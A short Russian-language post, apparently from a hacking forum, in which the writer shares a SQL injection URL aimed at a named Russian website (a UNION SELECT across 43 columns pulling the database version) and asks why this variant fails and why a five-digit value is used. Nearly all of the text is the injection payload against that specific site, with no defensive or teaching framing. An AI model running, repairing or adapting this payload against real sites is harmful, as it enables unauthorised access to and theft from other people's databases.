не любое, например

http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403%20UNION%20 SELECT%2013719,2,3,4,5,6,7,8,9,version(),11,12,13, 14,15,16,%2017,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33%20,34,35,36,37,38,39,40,41,42,43%20li mit%201,1--+1

такой вариант не проходит и почему пятизначное?